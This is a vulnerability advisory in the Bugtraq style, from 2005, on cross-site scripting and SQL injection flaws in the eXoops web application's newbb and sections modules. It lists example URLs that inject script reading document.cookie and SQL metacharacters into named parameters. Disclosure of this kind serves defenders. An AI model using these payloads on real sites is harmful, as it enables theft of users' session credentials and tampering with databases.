EXoops Multiple Input Validation Vulnerabilities

Bugtraq ID:	12915
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Mar 28 2005 12:00AM
Updated:	Mar 28 2005 12:00AM
Credit:	Discovery of these issues is credited to Diabolic Crab.
Vulnerable:	eXoops eXoops
Not Vulnerable:

EXoops Multiple Input Validation Vulnerabilities

Multiple input validation vulnerabilities reportedly affect exoops. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions.

An attacker may leverage these issues to carry out cross-site scripting and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.

EXoops Multiple Input Validation Vulnerabilities

No exploit is required, the following examples are available:

http://www.example.com/modules/newbb/viewforum.php?sortname=p.post_time&sortorder=ASC&sortdays=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&forum=25&refresh=Vai
Pops cookie
http://www.example.com/modules/newbb/index.php?viewcat=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3EPops cookie
http://www.example.com/modules/newbb/index.php?viewcat='SQL_INJECTION
http://www.example.com/modules/sections/index.php?op=viewarticle&artid=9%2c+9%2c+9

EXoops Multiple Input Validation Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

EXoops Multiple Input Validation Vulnerabilities

References:

• eXoops Homepage (eXoops)
  
• Multiple Sql injection, and multiple XSS vulnerabilities in Easy Community Manag ()